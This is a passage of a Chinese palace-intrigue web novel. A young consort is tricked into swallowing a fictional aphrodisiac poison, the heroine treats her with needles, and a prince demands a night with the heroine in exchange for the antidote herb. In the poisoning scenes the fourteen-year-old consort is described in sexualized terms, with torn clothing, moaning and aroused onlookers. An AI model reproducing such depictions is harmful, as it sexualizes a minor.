这一个月,陛下一次都没有见她。
心里比夏天吃了冰水还舒服。
楚念辞见她冷冰冰地盯着自己,不管心里怎么想,面上都得恭敬,起
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身行礼:“臣妾见过淑妃娘娘。”
淑妃只微微颔首,由众妃陪着,走到主位。
楚念辞与沈澜冰还有纯贵人一起走到自己的位置。
如今高位妃嫔不多,她俩位置自然靠前。
时辰一到,礼乐声起。
端木清羽出现在众人视线中,立刻被王公贵族们众星捧月般围住。
嫔妃们只能远远瞧着。
他立于人群之中,皎皎如月,朗朗如玉。
阳光落在他眉眼间,那张脸精致得不似凡人,眉峰如远山眸光清湛似秋水,鼻梁高挺,唇色浅淡,微微抿着,透出一股疏离高冷的帝王贵气。
日光在他周身镀了层浅金,耀眼得让人不敢直视。
真真是可远望而不可近玩。
端木清羽一身白衣,临水而立,发如流墨衣似堆雪,高如檐月不可攀。
他的高冷如云的目光一瞬间落在了楚念辞脸上。
那一瞬间。
楚念辞忽见得他眸子光芒渐盛。
如冰雪遇上灼热而融化。
让她觉得这万众之中,唯有她一人而已。
那高冷表情前所未有地生动起来。
楚念辞心里难免冒出了一丝疑惑。
她前世曾错爱过人。
当然知道这种目光意味着什么?
现在回想,便是上辈子爱错那位,她也没有露出过这种非君不可的目光。
如今想着,大约也不曾爱上过他。
这爱到底是种什么感觉?
能叫一个帝王在众人中面前,露出少年般忘乎所以的欢喜雀跃笑容。
这是爱吗?
仅仅一瞬间她就否定。
不管这是不是爱,若是自己也犯花痴是十分危险的事,在这深宫之中,爱上帝王,就如同临渊捕鱼,鱼没有捉到,自己很可能先跌入深渊。
楚念辞忙托着下颌,回以做梦一般微笑。
小皇帝却在看见她笑容的时候收回了目光。
估计……自己的笑太花痴了?
端木清羽在贵戚世家公子的簇拥下,斜靠在雕花栏杆边,素手脱下锦袍,只着短衫,又煞有介事地挽起裤脚和衣袖,露出修长的手臂和小腿。
观祀榭中,众妃的眼睛一下都直了
皇帝率先赤脚踩进翻好的泥土。
那光裸的雪白脚踝,踩在深色泥土里,竟像泥地里盛放的一株水仙。
他扶着犁,一步一步往前,动作虽不熟练,却自有一股从容。
阳光落在他微俯的脊背上,汗水顺着脸颊滑落,竟比平日端坐朝堂时,更添几分鲜活。
众妃看得目不转睛,连呼吸都忘了。
楚念辞也看得忘乎所以。
纯贵人也目眩神迷地看了一会,突然又想起了爹娘,慢慢收回心神。
她眼角余光瞥见众人全神贯注,没有人注意自己,于是悄悄往人群外走去……
第125章 绕情丝毒发
亲农礼的乐声远远传来,纯贵人独自站在御茶间里,心跳如擂鼓。
她倒了一杯茶,四下张望,确认无人后,颤抖着手从袖中摸出那只小瓷瓶。
明明只是个简单的动作,明明在脑海里演练过无数遍。
可真到了这一刻,她的手居然抖得厉害。
这里头的药粉一旦倒进茶里,不出几息,她就会肚子疼,还会腹泻。
只是……会不会真的死掉?
是不是应该找一只小猫或小狗试一下?
可若小猫小狗吃了真的死掉怎么办,她才十四岁,想不了那么周全。
进宫是为了靠近陛下,这一个月下来,陛下确实很宠自己,但众妃的明争暗怼,冲散了那股热乎劲儿,逐渐被后悔所替代。
而且那小太监说,娘亲病了,病得很重。
若不按那人说的做,娘肯定会伤心死的……
这是她这辈子第一次这么想做成一件事。
她不能退缩。
对,为了爹娘,做什么都值得。
纯贵人咬着唇,拼命逼自己不要再胡思乱想。
她把瓶口凑近茶杯……倒了一点进去。
将茶水递到唇边,顿了顿,又缩了回来。
不行。
她做不到。
真的做不到。
自己真的好没用。
就在这时,身后突然传来一声唤:“纯贵人?”
纯贵人吓得一哆嗦,手里的小瓶“啪”地掉在地上,碎成几片,药粉洒了一地。
她面色惨白地回头,来人相貌清秀,却是玫答应身边的宫女纤巧。
纤巧见她双眼圆睁、满脸惊慌,眼神闪了闪,却装出一副狐疑的模样:“纯小主,您怎么了?”
又低头扫了眼地上的碎片,“这什么呀?”
“这、这是……抹脸的铅粉。”纯贵人慌忙蹲下收拾,声音都在抖。
纤巧凑近看了看,嗤笑一声:“纯小主,您当我没见过铅粉啊?您刚才鬼鬼祟祟的,这会儿又慌成这样,该不会是想下毒害陛下吧?”
“我没有,我真的没有!”纯贵人慌得小手直摇,又急又怕,眼泪已经在眼眶里打转。
纤巧居高临下睨着她:“您瞧瞧您那样儿,脸都白了。说没存坏心思,谁信啊?要不这样,您尝一口这‘东西’给我瞧瞧?”
若是别的嫔妃,早该端出主子的架子训斥她了。
可纯贵人连对着奴婢都不会拿款儿,只会红着眼眶,可怜巴巴地看着人。
她居然真的伸出手指,沾了点药粉。
可手指抖得厉害,怎么也送不到嘴边。
万一……万一这是毒药呢?她怎么这样傻,没先找人瞧瞧?
“果然是毒药!”纤巧斥道,“好你个纯贵人,竟敢下毒!”
“我没有……我真的没有……”纯贵人拼命摇头,眼泪扑簌簌往下掉。
“那你吃了我就信你。”纤巧咄咄逼人。
纯贵人泪如雨下,手指沾了药粉,哆哆嗦嗦送进嘴里,舔了一下。
纤巧:“……”
其实她是太尉府的暗棋,分到玫常在身边,不断撺掇她争宠,这次绮云过来,就是让她盯着纯贵人。
把这步棋走完。
刚刚见她几次三番犹豫着不敢吃。
知道她事到临头退缩了,莲嫔小主果然聪明。
知道福贵不靠谱。
更猜到纯贵人会临阵畏怯。
让自己过来盯着她把东西吃下去。
见任务完成,她脸色缓了缓,语气也软下来:“哎呀,奴婢跟您开个玩笑罢了,您还真舔啊?亲蚕礼马上开始了,淑妃娘娘找不着您要发火的,赶紧去前头吧。”
纯贵人咬紧鲜红的唇瓣,大眼懵懵地点点头,浑浑噩噩往外走。
她满脑子都是“我舔了那药粉”,完全没注意到身后纤巧迅速收起地上的碎小瓶和药粉,动作干净利落。
她抹除痕迹,却故意留下桌上一杯药茶。
纤巧收拾妥当,回头看了一眼门口,确定没人进来,才不动声色地松了口气。
玫常在,纯贵人,我也不是存心想害你们。
只是我的父母家人全在太尉府的手里。
她熟练地沏了一壶茶,端着往外去了。
下面就等着绮云姐姐暗号,自己是最后一步底牌,不到万不得已,是不会动用自己的。
却说纯贵人刚走出茶室没几步,突然一阵头晕目眩。
一股热浪从脚底直往浑身乱窜。
那股感觉从脚底往上涌,说不清道不明,像有无数只蚂蚁在血管里爬,又像有一团火在腹中烧。
她扶着墙,腿软得几乎站不住,眼前的东西开始摇晃、重叠。
热。
好热。
明明站在廊下,风是凉的,可她的脸烫得像火烧。
心跳越来越快,“咚咚咚”地砸在耳膜上,砸得她脑子里一片空白。
有什么东西从身体深处涌出来,陌生又可怕。
她想喊人。
“啊……”她一开口,才发现自己喉咙里发出的声音软得像猫叫。
这……这是怎么了?
她不知道。她只知道自己快要站不住了,只想蹲下来,把自己缩成一团。
远处,亲蚕礼的乐声还在悠悠飘荡。
没有人注意到这边,一个面色潮红、眼神涣散的小姑娘,正倚着墙,一点一点滑坐下去。
果然上当了。那药粉……有毒。
她马上就要死了。
这个念头像一盆冰水兜头浇下,反倒把纯贵人浇醒了几分。她忽然想起爹娘,不知从哪儿涌出一股力气,哭哭啼啼地站起来。
她怕得要命,便顾不得什么规矩,一边哭一边就朝宫外跑去。
她不该轻信别人。
可如果注定逃不过一死,那她一定要死在家里,死在爹娘身边。
死在家里总比孤零零死在这冷冰冰的深宫强。
纯贵人就是这样想的。
而此时,亲蚕礼正进行到最后一项。
淑妃端着礼匾,开始给蚕喂桑叶,嘉妃和莲嫔在一旁协助。
楚念辞站在自己的位置上,心里却越来越不安。
纯贵人出去这么久,怎么还没回来?
她很担心,却不能走开。
直到所有礼仪走完,众人移步茶室歇息,楚念辞正要派人去找,就见纯贵人的贴身大宫女流苏满头大汗地匆匆赶来。
她顾不得仪式结束,忙上前行礼:“慧贵人,您看见我家小主了吗?”
楚念辞摇摇头。
“这两天小主总念叨着想回家看老爷夫人……”流苏急得满脸通红,“刚才支使奴婢回去拿药,可奴婢回来之后,怎么也找不见她……”
两人正说着,满宝匆匆跑过来。
“小主,”她喘着气,“北城门那边传来消息,纯贵人被拦住了,守卫说她疯疯癫癫的,往人身上扑,还要闯出宫去,被人送到启元殿了。”
楚念辞心头一紧,她怎么感到纯贵人有点不对头。
似乎是中毒的症状。
她不敢怠慢,道:“你赶紧去通知淑妃娘娘和陛下,就说纯贵人出事了,在启元殿。”
说完,赶紧和流苏一起往启元殿跑。
两人气喘吁吁地跑到启元殿,还没见到人,殿门突然被撞开。
几个太监宫女架着纯贵人冲了进来。
她双颊通红,眼神迷离,浑身软得像没骨头似的,一见楚念辞就扑进她怀里,嘴里还在胡乱嚷嚷:“姐姐,我要死了,我吃了那个药,好难受……我马上就要死了!”
她一看见楚念辞,也不知哪来的力气,猛地扑过去紧紧抱住,哭得上气不接下气。
楚念辞心里“咯噔”一下。
吃了药?
什么药?
再一看她这副模样……面色潮红、眼神涣散、浑身发烫……
怎么好像是中了媚药?
想起前几天满宝拿过来的绕情丝,不会吧……
她正要推开纯贵人问个清楚,怀里的人却忽然安静下来。
纯贵人抬起那张滚烫的脸,迷迷糊糊地看着她,眼神越来越迷离,然后……侧过头,一口亲在楚念辞脖子上,嘴里呢喃着:“陛下……”
楚念辞浑身一僵:“……”
她挣了一下,没挣开。
纯贵人像只八爪章鱼似的缠在她身上,又亲又蹭,嘴里还在嘟囔“陛下”“好难受”“要死了”。
"快把她拉开!"团圆忙对跟在身边的几个宫女道。
流苏忙招呼几个人上前手忙脚乱地把她拉开……
第126章 雍亲王猝不及防地示好
亲蚕礼祭坛,淑妃正拿着一片桑叶逗弄蚕宝宝,笑得花枝乱颤。
“小时候啊,我最爱玩这些。”淑妃捏着桑叶晃了晃,“陛下可讨厌这小虫子了,一见就躲。我呢,偏要逗他,有回拿着一条蚕追着他跑了几条街,我也不知哪来的力气,一把就把他推在地上了。”
她掩嘴笑起来,“如今想想,真是三岁看老,我就是个爱闹腾的。”
玫常在立刻赔上笑脸:“哎哟,论情分谁能比得上您啊,从小跟陛下一起长大,这情分是旁人想求都求不来的。”
其它妃嫔也跟着凑趣,一脸艳羡:“陛下对娘娘的好,臣妾们拍马也追不上。
“别说追了,连影子都瞧不见呢。”
“娘娘跟陛下那是青梅竹马,咱们这些人啊,能远远看着就知足了。”
“娘娘在陛下心里的分量,那是谁也越不过去的。”
众妃你一言我一语,阿谀奉承的话像倒豆子似的往外蹦,把淑妃捧得眉开眼笑。
正热闹着,绿翘突然从外头匆匆进来,脸色不太好看:“淑妃娘娘,启元殿那边出事了。”
玫常在心里一紧,强压着喜悅,激动地问:“别慌慌张张,凭你出什么事,也不该打断娘娘的亲蚕礼。”
“慧贵人……”绿翘顿了顿,“中了媚毒。”
玫常脑子“嗡”的一下。
她明明下的是泻药?
怎么变成媚毒了?
“怎么会这样……她不是……”她嗓子一下子拔高,质问差点脱口而出,好在话涌到唇边,咬住了舌头,稳了稳心神,厉声问:“那陛下呢?”
“陛下已经过去了,请娘娘过去。”绿翘道。
淑妃脸上笑意一收,把桑叶往桌上一扔,起身就往外走。
众妃面面相觑,赶紧跟了上去。
玫常在跟在人群里,手心全是冷汗。
这药……到底是怎么回事?
意识到自己上当了之后,她越走越慢,慢慢躲到了人群后。
启元殿内,纯贵人彻底扛不住了。
她双颊绯红,眼神迷蒙,意识早已模糊。
嘴里呜咽着,双手无意识地撕扯衣衫,刚整理好的衣服又凌乱不堪,香肩半露,小腿也露了出来。
她蜷在贵妃椅上,声音又软又媚:“好难受……好热……陛下……救我……”
身边没人能帮她,她只能本能地扭动着,呻吟一声比一声娇。
殿中太监宫女倒还罢了,偏偏还有几个送她过来的御林军。
几个大男人呆若木鸡地看着这一幕,眼珠子都快瞪出来,血气直往上涌,却只能死死忍着,低下头不敢再看。
就在这时,端木清羽大步跨进来,仪容端正面无表情,高高在上遥不可及。
看了楚念辞一眼就收回了目光。
楚念辞见他眸色沉沉,便知她还在生自己的气。
“怎么回事?”他才问了一句。
话音未落,纯贵人也不知哪来的力气,猛地弹起来朝他扑去。
“快拦住她!”楚念辞惊叫。
几个太监宫女手忙脚乱冲上去,好歹在她扑到皇帝身上之前把人拦下。
可纯贵人还在拼命挣扎,眼睛死死盯着端木清羽,嘴里喊着“陛下”,那声音听得人骨头都酥了。
一时间,殿外禁军风光无限,春末夏初穿着单薄,那玩意儿一旦起来,醒目得很。
楚念辞暗戳戳地往端木清羽那边瞟了一眼,想看他的笑话。
端木清羽虽手捂住口鼻,眼底一片洞若观火的冷湛看着她,身姿依然从容。
这家伙,自制力果然非同一般。
正乱着,淑妃带着一众妃嫔浩浩荡荡赶到了。
一见殿内情景。
淑妃秀眉紧皱,眼底闪过一抹厉色。
今年的亲蚕礼是她负责操办的。
以前皇后也办过,可从来没出过岔子。
她好强,自信绝不会比皇后差,从头到尾亲自盯着,生怕出半点纰漏。
没想到快结束了,纯贵人居然给她来这么一出!
“她是故意的吧?”
“装疯卖傻想引起陛下怜惜,存心想搅了本宫的典礼?
“淑妃娘娘,”慧贵人忙低声回道,“纯贵人不是装晕,是中了西域媚毒绕情丝,弄不好是会送命的。”
此话一出,众妃皆惊。
“西域媚毒?”
“天呐,宫里怎么有这种东西?”
端木清羽面色一沉,大步上前:“快把纯贵人抬到贵妃榻上去,立即传太医!”
他语气严厉,俊脸上满是担忧,淑妃也不敢吱声。
许大将军是他重点培养的一代名将。
而他的独女,若在他眼皮底下出事,如何向许家交代?
一刻钟后,章太医匆匆赶到。
诊脉之后,他脸色煞白,“扑通”跪倒在地。
“陛下……此乃西域奇毒绕情丝,若要根治,需女子心头血与十三针……还要天绝丹,可这上哪儿寻去……”老太医胡子颤动。
端木清羽俊眉深深蹙起。
楚念辞顾不上整理被扯乱的衣襟,上前跪倒:“臣妾愿以心头血救纯贵人。”
她跪在那里,微微咬住嘴唇。
她知道,机会来了。
这段日子他刻意疏远,她并不知道是为了什么事,但她不想等着他自己想通,回到自己身边。
只要她能救纯贵人,他的目光就会重新回到自己身上。
果然端木清羽看了他这幅舍身救人的模样,心疼不已。
他的慧儿纯善。
就算是小小的心机,也是为了守住他的宠爱。
他心疼了,后悔了。
不该因为自己不敢面对自己。
而冷落了她。
端木清羽眼神柔和,上前将她扶起。
“慧贵人侍朕以来,志虑忠纯,若能以己身救回纯贵人,朕定当好好嘉奖。”
这时候,端木冥羽突然从人群后面挤了过来,拱手道:“如此舍己救人,便封为嫔,亦不为过。”
他此言一出。
众妃一片低哗。
淑妃娇艳脸色一变,当即上前:“王爷开什么玩笑?封嫔位,须有家世或育有子嗣,庶身封嫔,此例亘古未有,万万不可啊!”
莲嫔脸色也难看起来。
如果她封嫔岂不是和自己平起平坐。
于是也赶紧附和:“这等大事,该与太后商议,请陛下三思!”
众妃你一言我一语,殿内顿时沸反盈天。
可楚念辞却安安静静跪在那里,用一副懵懂无知的眼神瞟了一眼端木冥羽。
她若真接了这话,便是把自己架在火上烤。
众妃能容她?
太后能容她?
帝王心里又能不存芥蒂?
他又一次朝自己递出橄榄枝。
而且还是大庭广众众目睽睽之下。
她这样一个毫无背景的女人,就算真封了嫔,还能坐得稳吗?
坐不稳怎么办,必然要找他联合。
端木清羽看着端木冥羽,目光虽浅淡,却如浮于天际的冷风,将落未落。
端木冥羽却对他冷厉目光,浑然不觉,洒然地一拱手,他并不怕群议汹汹,在众人的反对陈词中,他看着淑妃,浅笑道:“若谁能取心头血救纯贵人,本王亦可上表为她求封。”
淑妃喉头一哑,咬住了嫣红嘴唇。
真不明白,这个平时万事不管的闲散王爷为何要帮慧贵人求封。
端木清羽也不说话。
众人见陛下、淑妃不说话,于是方才还沸反盈天的反对声浪,瞬间消弭于无形。
楚念辞在鸦雀无声中伏地叩头:“臣妾定当救回纯贵人,不负陛下厚望,只是封嫔之说,臣妾万万不敢受。”
她额头触及冰凉的金砖。
心里笑了笑。
以好意揣之,这是发出联盟信号,以恶意揣之,这是捧杀。
而这两样都不是她想要的。
她拒绝得明明白白。
她确实渴望高位,但希望自己一步一步坚实地走上去,而不是在沙地上造一个虚假的空中楼阁。
须知没有坚实的底座。
登高必会跌重。
端木清羽听她拒绝得干脆。
面色更加柔和,上前扶起她,低头想了一会儿,道,“既如此,便在再做商漼,救人要紧。”
“是,说这些为时过早,还是先救人……”说着,楚念辞忙走进内殿去看纯贵人。
纯贵人双目紧闭,呼吸急促,脸色潮红。
楚念辞搭脉,脉象洪数,气血翻涌。
她向章太医点了点头。
这取心头血救治只是个幌子,其实只要只取一点指尖血就可以,楚念辞于是抽出金针,沾了指尖血,找准穴位稳稳扎了下去。
几针过后,纯贵人渐渐安静下来,但脸色还是很红。
楚念辞松了口气,这药可真够狠的,没有天绝丹还是不行。
只是压制住容易,没有天绝丹,她也只有几个时辰的命。
端木冥羽邪气的嘴角上扬,趁乱退出大殿,对自己随从太监使了个眼色,以唇语道:“快去通知许绩……就说他女儿快被人害死了。”
绕情丝是他几年前从西域带回来的奇药。
他送了一部分给太尉,没想到他们家用在这种地方。
解这奇毒必须天绝丹。
且不说这天绝丹太医院会不会做,就里面的天山雪莲,整个京城,除了他的府上,哪里都是没有的。
若想让他拱手送上,除非那个小妮子向自己低头。
他已经等不及看她向自己哀求的样子。
那侍从领命,转身飞奔而去……
第127章 陪本王一夜
端木清羽让人将纯贵人挪至罗汉床上,吩咐众妃在外殿候着,不得随意走动。
他只带了章太医和楚念辞进偏殿,淑妃眼底透着关切,也跟在身后。
众妃想跟进去,却被李德安带人拦下。
她们低头不敢议论,眼里却透着看热闹的兴奋。
内殿里,端木清羽守在纯贵人榻边,俊眉紧锁,面色沉凝。
纯贵人是名将许绩的独女,是他准备重用、用来制衡太尉府、分散兵权的将门之后。
若她出事,许绩那边如何交代?
失去一员大将不说,更会让朝局失衡。
他心里焦躁,语气有点不稳:“章太医,情况如何?能用什么药?”
章太医躬身道:“陛下,此毒须用天绝丹方可解,老臣虽未炼过,但愿意一试,已派人去太医院寻药材了。”
淑妃站在一旁,唇抿得发白。
亲蚕礼是她操办的,若纯贵人真出了事,陛下会怎么看她?
会不会觉得她无能?
她看着榻上脸色潮红的纯贵人,强迫自己冷静下来……
无论如何,这人得保住。
保住了她,才能保住自己的脸面。
淑妃道:“陛下,需要什么药材尽管说,如果没有的话,臣妾让父亲去找。”
端木清羽欣慰地拍了拍她的手。
不多时,太医院的人匆匆赶回,跪地禀报:“陛下,章太医开的方子,药材都已配齐,只差一味主药……天山雪莲。”
殿内静得落针可闻。
章太医脸色煞白,“扑通”跪倒:“陛下恕罪!纯贵人中的是西域奇毒,若无天山雪莲……老臣无能为力。”
端木清羽霍然起身:“库里没有,就去民间寻,朕愿出重金,不惜一切代价求购!”
他又让几位太医轮番把脉,得出的结论却一模一样:“陛下,这毒……只能施针暂护心脉,最多再撑三个时辰。”
三个时辰。
端木清羽闭了闭眼,胸口一阵发闷。
他深吸一口气,沉声吩咐李德安:“去,给朕找天山雪莲,掘地三尺,也要找到。”
章太医朝楚念辞使了个眼色,两人走到长窗边。
“这毒老朽实在没法子,”章太医压低声音,“慧贵人可有办法?”
楚念辞轻声道:“天绝丹可解,我会炼,但需要天山雪莲入药。”
章太医眉头紧锁:“太医院没有……那可是西域珍品……”
他顿了顿,忽然想起什么,“雍亲王府有一株,听闻是当年他出兵西域时带回来的。”
楚念辞点点头:“只要有就能想办法弄到,先用金针稳住毒性,争取时间。”
两人回到榻边。
楚念辞凝神静气,取出金针,开始施针。
殿外,白芷若隐在人群中,与绮云对视一眼,唇角勾起一丝极淡的弧度。
她能感受到帝王身上散发出的低低的冷冽气息。
那是暴风雨前的征兆。
玫常在立于不远处,早已吓得脸色煞白。
她终于知道,那药根本不是什么泻药,而是要人命的奇毒。
她恨不得地上有个缝能钻进去,只能不停安慰自己:不会有人知道是我弄的……
唯有雍亲王,斜倚在廊柱上,嘴里叼着根草。
整个人非常放松。
他甚至松开紫红绣金礼衫服,让玉带松松垮垮地挂在身上,活像个等着看好戏的浪荡公子。
隔着窗户,他瞧着自己那位玉树临风的皇帝弟弟在内殿急得来回踱步,又瞥见楚念辞眉头深锁的模样,唇角勾起一抹笑弧。
他倒要看看。
这女人是选择继续往上爬,还是为了救他的皇帝弟弟,不得不向自己低头。
想到马上会为了护他。
楚念辞必须背叛端木清羽,投向自己怀抱,匍匐在自己脚下。
他双颊风情无限地凹出一个月牙般笑纹。
那样子简直比吃了寒食粉还要兴奋。
又瞟一眼已经亮着灯的窗牖,端木冥羽不由喃喃道:“倒看你是选择向上爬的机会,还是选择我这个弟弟?”
时间一分一秒过去。
殿内,楚念辞额上沁出细汗,手里的金针稳稳拔出。
纯贵人的呼吸渐渐平稳下来,可脸色依旧潮红未退。
楚念辞眉头越皱越紧,无意间抬头,正对上一双湛亮的眼睛……端木冥羽不知何时站到了隔壁的窗边,一手托腮,隔着窗户,一脸兴奋地瞧着她。
他朝她使了个眼色。
楚念辞会意,借口看药材走到隔壁长窗边。
两人隔着窗户交谈,离端木清羽那边很远,说什么都不会有人听见。
楚念辞打量着端木冥羽,他胸前衣襟敞得更开了,胸肌腹肌若隐若现。
她淡定地从锁骨看到腹肌。
心想:这算什么,色诱?
不过主动送上门,不看白不看。
端木冥羽顺着她的目光低头一瞥,笑问:“还顺眼吗?”
还真是毫不避讳的挑逗。
楚念辞幽幽道:“说吧,怎么才肯交出天山雪莲?”
端木冥羽笑得明艳:“想要我的东西,可以,不过,本王有个原因,不能白白送出东西。”
他顿了顿,“你可以拿东西来换。”
“什么东西?”
“你腰上的玉佩不错。”
楚念辞低头一看。
那是端木清羽亲手编的同心结玉佩。
上好的羊脂玉,也算不得价值连城,但想到小皇帝那疑神疑鬼的性子……
“诚心结交,不如你送我个东西。”楚念辞笑道。
端木冥羽心知肚明地笑了,弯起唇角,懒散又洞悉一切:“只要你要,只要我有,什么都可以。”
他单手扯开腰带,褪下锦袍,一大堆香囊,玉佩叮叮当当出现,还露着令人望尘莫及的健美胸膛。
楚念辞的目光落在他胸上……竟然隐隐约约撇见,一道道的伤疤,纵横交错。
她想起前世的那些传言……
他是先王的庶子,母亲是浣衣奴,生下他便去世了。
有人说,是先帝去母留子。
他全然无辜地成了最大的受害者。
父亲视他为耻辱,宫人会怎样折磨这个让皇帝蒙羞的贱种,不难想象。
童年的不幸,是最令人绝望的残酷记忆,更可悲的是他刚长到十四岁,先帝为了安抚北戎,送他去做了质子,一去就是三年,等他回来的时候,眉目冷俊羸弱不堪。
回来后,他仅仅用了三年,就迅速成长为身材魁梧英勇无敌的青年,听说他在战场上,英武勇猛,悍武无双,成为先帝的臂膀。
只是不知道内里是不是如外表一样安然无恙。
她忽然吸了一口冷气。
“怎么,看不上这些东西?”端木冥羽见她半天不动,轻笑道。
“全是别人绣的,拾人牙慧,没意思。”
“原来你是介意做第一个,”端木冥羽一边穿衣一边思索,“那这样,本王来提个条件,陪本王一夜。”
楚念辞差点喷出一口老血,抬眸看他:“王爷想给陛下戴绿帽?”
“你这话本王不爱听,说起来陛下是先给别人带绿帽才对吧,本王保证,只一夜,过后绝不纠缠。”
楚念辞不动声色:“对着见面不过几天的人提这种要求,未免交浅言深。”
“岂不闻白发如新,倾盖如故?”端木冥羽撑着脸颊看她,眸子里带着笑。
楚念辞也学他的样子,手肘支在窗上,托着脸颊:“你知道你很讨人厌吗?”
端木冥羽笑得更开了:“知道,不过想要天山雪莲,只有从了我。”
楚念辞知道说不通,又怕人察觉,砰的一声关上窗户。
却听他在窗外笑道:“本王等你回本求我。”
楚念辞咬了咬后槽牙,拿了一罐药回到原来的殿中。
半个时辰后,一阵清脆的马蹄声由远及近。
楚念辞抬头顺着窗户向外一看,春风卷起尘烟的长街尽头,一人策马而来。
她不由微微纳罕,何人敢在御街上纵马?
管事太监连忙示意众人靠边让道……看来此人身份特殊。
待马匹驰近,她才看清,是陛下爱将许大将军。
第128章 下套
殿外忽然传来一阵急促的马蹄声。
众人循声望去,朔风卷起的长街尽头,一人策马狂奔而来!
“什么人?”管事太监惊呼,“宫中禁止纵马,快拦住……”
那马匹根本不听,直直冲向大殿门口。所过之处,宫人惊呼着四散躲避。
骑马之人冲到殿门口才猛然勒马。
骏马前蹄高高扬起,嘶鸣声刺破长空。
那人翻身下马,几步冲上台阶。
他身材极其魁梧,一身铠甲,五官端正,有棱有角,目光锐利,年近五旬,发髻虽乌,但鬓角已然花白,此刻满身尘土,却仍竭力稳住身形,一步一步走得沉稳。
是大将军许绩。
端木清羽在殿内听见动静,让李德安将人请进内殿。
许绩单膝跪地,声音沙哑:“臣许绩,御街纵马,死罪,但求受刑前,陛下容臣先看一眼女儿。”
端木清羽上前搀扶:“爱卿心挂爱女,何罪之有,快起,随朕进来。”
许绩起身,步伐依旧稳健,只是握着剑柄的手青筋暴起。
他并没有忘了规矩,解下长剑交给太监,才走进内殿,他一眼看见榻上的女儿……面色潮红,气息奄奄,几乎没了活气。
脚步因此顿了一瞬,眼眶却瞬间红了。
那张如春花般娇脸委败的垂落,是他捧在手心养大的女儿。
前段时间,还笑着送他,说爹爹早日回来。
如今躺在这里,生死不知。
许绩闭了闭眼,再睁开时,眼底已没有方才的猩红,只剩一片沉沉的暗色。
他转头看向章太医,声音平稳得可怕:“章太医,我女儿中的什么毒?如何能解?”
章太医匆匆将经过说了一遍,提到需用天山雪莲,又提到那毒诡异……
许绩静静听完,点了点头,转向端木清羽,抱拳躬身:“陛下,臣想单独看看女儿。”
端木清羽颔首,示意众人退开几步。
许绩走到榻边,弯腰,握住女儿滚烫的手。
他就那样弯着腰,一动不动,站了很久。
没有人看得清他的脸,那一瞬间,他整个人仿佛变成了一块石头。
片刻后,他直起身,走回端木清羽面前,双膝跪地:“陛下,臣求您尽力救她,无论能否救回,臣都铭记圣恩。”
没有磕头,没有哭喊。
只是那一跪,比任何言语都重。
端木清羽扶起他:“朕已命人遍寻天山雪莲,爱卿放心。”
"敢问陛下,到底是怎么回事?"许绩问。
外殿,白芷若觉得自己机会来了。
如果当着许大将军的面,指认出凶手,一可以结交大将军,二可以获得陛下的信任。
未是等他话音刚落,她上前咣当一声推开内殿大门。
白芷若娇娇怯怯地扶着绮云的手走进去。
她走到殿中,咬了咬唇,一副欲言又止的模样:“陛下、淑妃娘娘、许将军……嫔妾本不该多嘴,只是见纯贵人这么小年纪,就被人毒害,嫔妾实在于心不忍……”
她顿了顿,抬眸看向楚念辞,声音怯怯的:“有一件事,嫔妾不知该不该讲……那毒药的来历,嫔妾知道些眉目。”
许绩目光如电,倏地转向她。
白芷若被他看得瑟缩了一下,转向绮云,道:“你来说。”
绮云应了一声,跪下,指着楚念辞道:“毒药是从慧贵人宫中流出来的。”
殿内瞬间死寂。
所有人的目光齐刷刷投向楚念辞。
许绩眉头紧锁,盯着绮云,一字一句问道:“你说这话,有何凭据?”
“奴婢……奴婢亲眼看见福贵将毒药交给纯贵人,而福贵是慧贵人宫里撵出来的……”
在许绩杀人一般的目光凝视下,绮云声音越来越低。
许绩那目光像刀子,剜得绮云脊背发凉。
他声音低沉,一字一句,“你意思我女儿中毒,是慧贵人指使的?”
绮云被他看得瑟缩,咬着牙点点头。
许绩忽然一掌拍在身侧御案上。
“砰”的一声巨响,那紫檀木的桌案四分五裂,木屑迸溅!
一块碎木擦着风声直朝楚念辞飞去……
端木清羽脸色骤变,想也不想,一把将楚念辞拽进怀里,李德安袍袖猛地一挥。
“噗”的一声,那块碎木深深嵌入身后的墙壁。
满殿惊呼。
“护驾……”李德安一下子就难在端木清羽前面道,“许绩,你敢当着陛下的面动手,来人把他拖下去。”
端木清羽紧紧抱着楚念辞,低头看她,声音急促:“伤着没有?”
楚念辞脸色发白,摇了摇头。
她真没想到陛下会舍身护她。
这一刻说没有感动是骗人的。
她抚了抚慌张的小心脏,既然他如此舍身救自己,来日,自己也如此护着他便是。
端木清羽这才转头朝奔进来的御林军挥挥手,等众人退下去,他才眸光冷厉地射向许绩。
“许绩,”他的声音不重,却带着不容置疑的威压,“你是领兵四方的大将军,不是市井莽夫,证据未明,你就动手伤人,以后还如何领军布阵,料敌于先机?”
许绩一愣,低头看了看自己的手,又看了看那碎裂的桌案,眼底闪过一丝愧色。
他上前一步扑通一声双膝跪地。
“臣一时激愤,险些伤了小主,罪该万死。”他朝楚念辞抱拳又重重地磕了几个头,“求小主恕罪。”
楚念辞看着这个头发花白、满眼血丝的老将,心里明白,他不过是个快急疯了的父亲。
“将军爱女心切,”她轻声道,“我不怪你。”
端木清羽仍把她护在怀里,没松手。
他眸光冷冽地扫过白芷若:“你想空口白牙污蔑旁人,现在朕没时间治你的罪,到外面跪着去。”
白芷若脸色一白:“陛下,嫔妾只是……”
淑妃在一边看得真切,见陛下为她挡木屑,气得差点吐出血来。
本来陛下已经都不再看她一眼,如今却要为她挡住灾祸。
这一切,都怪莲嫔这个贱人。
如果不是她,许大将军就不会拍那桌子。
也不会刺激的陛下,重新对慧贵人起了怜惜之心。
“你再多说一个字,”淑妃猛然打断她,语气森森,“本宫就让人拔了你的舌头,让你永远没机会说话。”
白芷若张了张嘴,一个字也说不出来。
知道自己时机没有抓准,她咬咬嘴唇,不甘地带着绮云跪到门口。
一出门,她就示意另一个小宫女,去请太后。
殿内,章太医上前打圆场:“将军别听她的话,错怪好人,此毒药性猛烈,若不是慧贵人刚好在此,及时施针护住五脏六腑,等不到老朽赶来,令嫒早已没命了,眼下还是让人赶紧去雍亲王俯一趟,讨要天山雪莲……”
“雍亲王府有天山雪莲?”许绩眼睛一亮,仿佛溺水之人抓到救命稻草。
“老朽失言,不知道是不是真的有……”章太医面露难色。
许绩一听,忽然明白。
即便是有,雍亲王若是不肯拿出,也是枉然。
他心凉了半截。
楚念辞忽然开口:“臣妾有法子弄到这味药。”
她顿了顿,看向端木清羽,“只是法子有些出格,求陛下先恕臣妾无罪。”
端木清羽眉头微皱,道,“只要能救纯贵人,朕恕你无罪。”
楚念辞点点头,转向门口:“那就请陛下宣王爷进殿,臣妾会沏一杯茶奉上。”
